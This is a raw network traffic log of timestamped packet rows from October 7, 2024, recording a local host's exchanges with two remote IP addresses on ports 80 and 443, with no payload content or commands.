Oct 7, 2024 19:33:20.264317989 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264341116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264352083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264360905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264372110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264383078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264389038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264389038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264436007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264436007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264511108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264698982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264770031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264802933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264813900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264832973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264843941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264853954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264877081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264877081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264900923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.264947891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264959097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264969110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264978886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.264993906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.265029907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.265029907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.279089928 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.282390118 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.282407999 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.282847881 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.282851934 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.375346899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375360966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375370979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375380993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375397921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375418901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375422955 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375435114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375447035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375458956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375469923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375482082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375487089 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375487089 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375495911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375508070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375519037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375524998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375524998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375530958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375550032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375556946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375569105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375580072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375590086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375600100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375610113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375612974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375612974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375622988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375629902 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375634909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375679970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375679970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375696898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375708103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375718117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375730991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375742912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375742912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375754118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375766039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375777006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375787973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375793934 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375793934 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375799894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375813007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375823975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.375842094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375842094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.375899076 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376375914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376388073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376398087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376404047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376415014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376425982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376430035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376432896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376439095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376444101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376451015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376451015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376456976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376499891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376511097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376543045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376554012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376558065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376558065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376564980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376580000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376591921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376604080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376604080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376604080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376610041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376629114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376641035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376651049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376651049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376651049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376665115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376665115 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376677036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376688004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376698017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376698971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376708984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376723051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376724958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376737118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376738071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376749992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376750946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376763105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376774073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376775026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376787901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376799107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376808882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376816988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376816988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.376820087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.376863956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377068996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377079964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377093077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377104998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377113104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377113104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377116919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377130032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377131939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377141953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377151966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377163887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377175093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377182961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377182961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377187967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377206087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377213001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377226114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377235889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377247095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377247095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377259016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377269983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377273083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377281904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377283096 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377293110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377302885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377312899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377322912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377324104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377322912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377336979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377340078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377357960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377360106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377371073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377382040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377393007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377403021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377403021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377403021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377409935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377422094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377433062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377441883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377441883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377446890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377459049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377465963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377470970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377486944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377495050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.377509117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377509117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.377578020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.378859997 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.378920078 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.378978014 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.379163980 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.379179955 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.379189968 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.379195929 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.381870031 CEST	49767	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.381900072 CEST	443	49767	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.381966114 CEST	49767	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.382113934 CEST	49767	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.382129908 CEST	443	49767	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.417953014 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.418648005 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.418668032 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.419059038 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:20.419064045 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:20.459600925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.459834099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.459934950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.459953070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.459964991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.459975958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.459986925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.459995031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.459999084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460011959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460015059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460024118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460036039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460051060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460057974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460057974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460062981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460073948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460082054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460086107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460098028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460108995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460118055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460124969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460124969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460124969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460129976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460141897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460155010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460165977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460165977 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460186958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460197926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460208893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460217953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460217953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460222960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460235119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460268021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460268021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460268021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460283041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460287094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460299015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460309982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460309982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460321903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460333109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460339069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460339069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460345984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460378885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460378885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460395098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460436106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460448027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460457087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460469007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460479975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460485935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460485935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460494041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460503101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460505962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460517883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460527897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460541010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460546970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460546970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460576057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460576057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460659981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460670948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460675955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460688114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460699081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460700989 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460726023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460819960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460838079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460849047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460859060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460870028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460880995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460889101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460889101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460894108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460906029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460916042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460920095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460928917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460941076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460951090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460957050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460957050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460963011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460973978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460985899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460997105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.460998058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.460998058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461009026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461019993 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461038113 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461081982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461110115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461122036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461132050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461143017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461150885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461155891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461193085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461193085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.461313009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461324930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461333990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461344957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461355925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461366892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.461371899 CEST	49718	80	192.168.2.7	46.8.231.109
